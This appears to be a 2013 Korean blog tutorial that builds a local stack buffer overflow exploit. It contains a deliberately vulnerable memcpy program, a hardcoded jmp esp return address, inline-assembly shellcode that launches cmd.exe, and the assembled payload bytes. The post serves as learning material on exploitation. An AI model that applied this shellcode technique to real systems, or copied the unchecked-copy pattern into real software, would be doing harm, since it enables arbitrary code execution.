Thursday, August 1, 2013

visual C 에서 inline asm 을 이용한 BOF 공격코드 작성

 본 블로그는 지식 습득후 저장을 하는 공간입니다.
블로그 내의 게시글을 인터넷에서 악의적으로 사용할 경우 본인에게 책임이 있습니다.


 일반적으로 모의 해킹을 할때 shell 을 따내는 것을 목표로 삼는데
Backtrack 같은 hacker를 위한 툴로 무장한? OS를 대부분 이용합니다.
msfpayload 가 공격코드 제작에 대표적으로 많이 사용됩니다.
windows 계열에서 사용 가능한 metasploit도 현재 나와 있으니 관심 있으신
분들은 찾아 보시길 권합니다.

Backtrack 에서 msfpayload를 이용하여 reverse TCP로  shell을 얻는 방법도 있지만
좀 다른 방법으로 visual C와 어셈블리를 사용하여 Buffer Over Flow 공격툴을
만들어 보겠습니다.

Buffer Over Flow 의 자세한 설명은 관련 문서가 많으니 찾아보시길 바랍니다.
여기선 간단하게 설명하고 넘어 가겠습니다.

Buffer Over Flow (이하 BOF) 공격이 성공하는 이유는 보안에 취약한 함수를 사용함으로써
발생합니다. 함수안에 들어갈 data의 길이를 체크하지 않는 함수들로 인해
공격 당하기 쉬워집니다.

<BOF 간단한 예>
아래와 같은 코드는 main함수에서 func1 이라는 함수가 호출이 되었을때
stack 에서 함수의 Prolog 생성 및 parameter 공간 생성후 변수가 생성되고
이후에 return address 에 해당하는 위치로 이동후 해당 return address 조작함으로써
아래에서 hacker!! 는 출력되지 않고 cracker!! 만 출력이 되는 결과를 가져옵니다.
========================================
#include <stdio.h>
void __cdecl func1(int, int, int, int){
     int *p;
     *(&p+2) +=4;
}
int main (int argc, char* argv[])
{
     func1(1,2,3,4);

     printf("hacker!!\n");
     printf("cracker!!\n");
     return 0;
}
============================























아래와 같이 coding 합니다.
============================
#include <stdio.h>
#include <string.h>
void func(char * str){
     char buf[4];
     memcpy(buf, str, 1024);
}

int main()
{
     char attack[1024]="111111111111111111111111111";
     func(attack);
     return 0;
}
============================
참고로 memcpy라는 함수는 내부 buffer 의 길이를 check 하지 않으므로 
BOF 공격에 취약합니다. 
함수내부의 buf[4] 배열은 4바이트의 공간을 가지지만 인자로 받은 1024바이트의
문자로 덮어 씌우려 할시에 정상적으로 덮어쓰게 됩니다.
이로인해 함수의 Prolog 부분과 그리고 return address 가 모두 1111로 덮어
쓰여지게 됩니다. 

따라서 실행을 하게되면 정상적인 Return Address 가 1111(0x31313131) 로 변경이되어
해당 address로 접근할시 오류가 나게 됩니다.
사실 이 이오류를 이용해 dummy로 넣을 Byte를 확인할 수 있습니다.


shell 을 따내는 코드는 나중에 생각하기로 하고
여기서 생각해 보야야 할것은 두가지 입니다.
첫번째는 return address 까지 몇바이트를 더미로 넣어야 하는가?
두번째는 return address 에 어떤 코드를 넣어야 우리가 원하는 코드가 실행이
될 수 있게 하는가? 입니다.

첫번째에 대한 답은 결론적으로 8바이트입니다.
딱 정해져있는 값은 아니고 위에서 1111로 채워둔 것을 특정한 순서대로
채워 넣어서 BOF error 가 발생할 당시의 예외 EIP(Return Address) 를 
확인해보면 몇번째 바이트부터 EIP 즉 Return address가 되는지 확인 할 수 있습니다.

잠시 삼천포로 빠질게요...
Perl의 Pex::Text 의 PatternCreate() 라는 함수를 이용하여 pattern이 있는 특정 연속된 문자열을 자동으로 만들어 넣어줄 수가 있습니다. 이를 이용해 Error 가 발생된 문자열을
가지고 Backtrack 의 metasploit 의 patternoffset 을 이용하면 몇 바이트부터 return address
가 시작되는지를 알려줍니다.

위 코드에선 9~12바이트가 Return address 가 되므로 8바이트를 더미로 넣은후
9바이트부터 12바이트까지를 우리가 원하는 shell 을 따는 코드가 있는 주소를 
넣어주면 됩니다.
두번째 문제는 우리가 실행할 shell 이 들어가 있는 주소는 어떻게 알수 있는가?
결론은 알필요가 없다 입니다. 

모든 윈도우 응용 프로그램은 실행이되면 프로세스 단위가 되고 메모리에 적재될 때, 
필수적으로 두개의 라이브러리를 사용합니다. ntdll.dll 과 kernel32.dll 입니다.

dummy 8바이트 뒤쪽의  4바이트는 ntdll.dll 이나 kernel32.dll 에서 jmp esp 가 위치한
주소를 넣으면 됩니다.  MS 에서는 memory reallocation 을 방지하기 위해 각 라이브러리가
위치하게 될 주소는 변경이 되지 않게 만들어 두었습니다. 따라서 ntdll.dll 이나 kernel32.dll
에서 jmp esp 를 찾아봅시다. 찾은 위치는 0x7c971eed 가 jmp esp 내요.
little endian 으로 변경하면 \xed\x1e\x97\x7c 입니다.

코딩을 합니다.
=========================================
#include <stdio.h>
#include <string.h>
void func (char * str){
     char buf[4];
     memcpy(buf,str,1024);
}
int main()
{
     char attack[1024]="12345678""\xed\x1e\x97\x7c""abcd~~~~";
     func(attack);
     return 0;
}
=========================================
위와 같이 8바이트를 더미로 넣은후 return address 를 ntdll.dll 의 jmp esp 의
주소로 변경합니다.  그렇게 되면 jmp esp를 통해서 esp의 주소로 오게되면 
우리가 실행하길 원하는 코드가 (위에서는 abcd~~~) 가 실행이 됩니다.

이제부터 inline asm 을 이용해서 shell을 실행하는 코드를 만들어 보겠습니다.
==========================================
#include <windows.h>

int main(){

     __asm{
          push     ebp
          mov      ebp, esp
          sub       esp, 8h
          mov      DWORD ptr [ebp-8], 2e646d63h  //(cmd.)리틀엔디안
          mov      DWORD ptr [ebp-4], 657865h      //(exe) 리틀엔디안
          push     5                                              //SW_SHOW
          lea        eax, DWORD ptr [ebp-8]
          push     eax
          mov      ebx, 7c86114dh  //jmp esp 를 찾아 그 주소를 넣는다)
          call       ebx                    //(call 로는 메모리로 직접 접근 되지 않음)
          push     0
          mov      ebx, 7c81caa2h  //exit process 호출 (위의 인자 하나를 가짐)
          call       ebx

          mov      esp, ebp
          pop       ebp
     }
     return 0;
}
=========================================

push ebp 와 mov ebp,esp 는 함수의 Prolog 를 사용하는 이유와 동일합니다.
지금까지 사용했던 stack 을 저장하고 호출이 끝났을때 다시 복원하기 위함입니다. 
sub ebp,8h 은 cmd.exe\0 를 stack에 넣기위한 공간 할당입니다.
4바이트씩 끊어야 하며, 리틀엔디안으로 넣어야 한다는것에 주의해야 합니다.

push     5                                           //SW_SHOW 에 해당함.
lea        eax, DWORD ptr [ebp-8]
push     eax                                       //cmd.exe 를 push
mov      ebx, 7c86114dh                    //jmp esp 를 찾아 그 주소를 넣는다)
call       ebx                                      //(call 로는 메모리로 직접 접근 되지 않음)

위 asm 은 exec (cmd.exe , SW_SHOW) 로 보면된다.
주의 할점은 call 7c86114dh 와 같이 메모리로 직접 접근이 되지 않으므로
위와 같이 mov 로 값을 복사한후 register 를 call 해야 한다.

push     0
mov      ebx, 7c81caa2h  //exit process 호출 (위의 인자 하나를 가짐)
call       ebx

위 코드는 return 전에 ExitProcess(0); 을 삽입하여 오류가 나지 않게 합니다.

mov      esp, ebp
pop       ebp

함수의 Epilog 부분임.

위 asm을 실행하게 되면 아래와 같이 정상적으로 cmd 가 실행이 되어야 합니다.



















위에서 만든 실행화일을 OllyDBG로 열어서 어셈코드 부분을 바이너리 카피후 메모장에
붙여넣은후 각 바이트앞에 \x를 붙여 넣어 연결하면 아래와 같습니다.
\x55\x8B\xEC\x83\xEC\x08\xC7\x45\xF8\x63\x6D\x64\x2E\xC7\x45\xFC\x65\x78\x65\x00\x6A\x05\x8D\x45\xF8\x50\xBB\x4D\x11\x86\x7C\xFF\xD3\x6A\x00\xBB\xA2\xCA\x81\x7C\xFF\xD3\x8B\xE5\x5D

이제 우리가 실행할 cmd.exe 를 실행할 코드가 완성이 되었습니다.

전체적인 코드를 확인해보면 아래와 같습니다.

=====================================================
#include <stdio.h>
#include <string.h>
void func (char * str){
     char buf[4];
     memcpy(buf,str,1024);
}
int main()
{
     char attack[1024]="12345678""\xed\x1e\x97\x7c""\x55\x8B\xEC\x83\xEC\x08\xC7\x45\xF8\x63\x6D\x64\x2E\xC7\x45\xFC\x65\x78\x65\x00\x6A\x05\x8D\x45\xF8\x50\xBB\x4D\x11\x86\x7C\xFF\xD3\x6A\x00\xBB\xA2\xCA\x81\x7C\xFF\xD3\x8B\xE5\x5D";
     func(attack);
     return 0;
}
====================================================
실행을 하면 정상적으로 cmd.exe 가 실행이 되는것을 확인할 수 있습니다.
memcpy 뿐만 아니라 길이 체크를 하지 않는 함수는 많이 있습니다.
strcpy도 BOF 공격이 가능합니다.
기본적으로 Wep에서의 보안 취약점은 대부분 잘못된 함수의 사용으로 기인하는 
경우가 많으니 주의해서 사용해야 합니다.










No comments:

Post a Comment